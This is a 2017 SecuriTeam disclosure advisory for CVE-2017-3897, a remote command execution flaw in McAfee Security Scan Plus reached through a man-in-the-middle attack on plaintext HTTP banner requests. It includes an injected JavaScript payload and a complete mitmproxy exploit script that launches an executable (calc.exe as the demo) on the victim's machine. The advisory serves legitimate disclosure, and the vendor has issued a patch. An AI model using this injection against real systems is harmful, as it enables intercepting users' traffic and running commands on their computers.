SSD Advisory – McAfee Security Scan Plus Remote Command Execution

blogs.securiteam.com/index.php/archives/3350

SSD / Maor Schwartz July 30, 2017

Vulnerability Summary
The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing executables with privileges of a logged in user.

McAfee Security Scan Plus is a free diagnostic tool that ensures you are protected from threats by actively checking your computer for up-to-date anti-virus, firewall, and web security software. It also scans for threats in any open programs.

Credit
An independent security researcher has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address this vulnerability.
For more information: https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714
CVE: CVE-2017-3897

Vulnerability details
McAfee Security Scan Plus retrieves promotional and UI design information from different *mcafee.com* domains and displays them to the user, typically in the main application window.

The vulnerability is caused by multiple factors:

- Information is retrieved over plaintext HTTP that can be trivially modified by an active network attacker.
- McAfee Security Scan Plus rely on the *MCBRWSR2.DLL* library to display HTML content. The Library exposes the *LaunchApplication()* JavaScript API that executes arbitrary commands on the affected system.

The McAfee Security Scan Plus downloads, after each scan, a UI element indicating the "protection level" of the target from the following URL:

```
1 http://home.mcafee.com/SecurityScanner/SSBanner.aspx
```

The following screenshot shows the placeholder of the web content while it is loaded (marked with red):

Although the original response redirects to a secure HTTPS URL (and server certificates are verified by the client), from a man-in-the-middle position it's possible to replace the redirection message with a HTTP response indicating success, and containing the call to the *LaunchApplication()* JavaScript API:

```
1 <script>
2 window.external.LaunchApplication("c:\\windows\\system32\\calc.exe", "");
3 </script>
```

The above JavaScript executes the Windows Calculator (without arguments) with the privileges of the logged in user (on the user's Desktop). The request is made every time the user initiates a scan or when a scan is initiated

automatically – by default the product is configured for weekly scans, the exact time depends on the time of the installation.

Proof of Concept

```
#!/usr/bin/env python3
#
# HTTP proxy mode:
#  mitmproxy -s mcsploit_inline.py --ignore '.*'
#
# Transparent proxy mode:
#   mitmproxy -s mcsploit_inline.py -T
#

from mitmproxy import ctx, http
import requests
import time

COMMAND="c:\\\\windows\\\\system32\\\\calc.exe"
CMDARGS=""

def response(flow):
    if flow.request.scheme == "http" and (flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in
flow.request.url):
        if flow.response.status_code == 302:
            ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)")
            https_url=flow.request.url.replace("http://","https://")
            r=requests.get(https_url,headers=flow.request.headers,verify=False)
            if "text/html" not in r.headers['content-type']: return
            contents=r.text
            contents=contents.replace("</head>","
<script>try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}</script></head>" %
(COMMAND, CMDARGS))
            flow.response = http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type":
"text/html; charset=utf-8","Expires":"-1"})
            return
        try:
            if flow.response.headers["content-type"] == "text/javascript":
                ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (JS)")
                inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}\n" %
(COMMAND, CMDARGS)
                try:
                    flow.response.contents = inject + flow.response.contents
                except AttributeError:
                    ctx.log("[-] [MCSPLOIT] No content in the original response!")
                    pass
        except KeyError:
            pass
```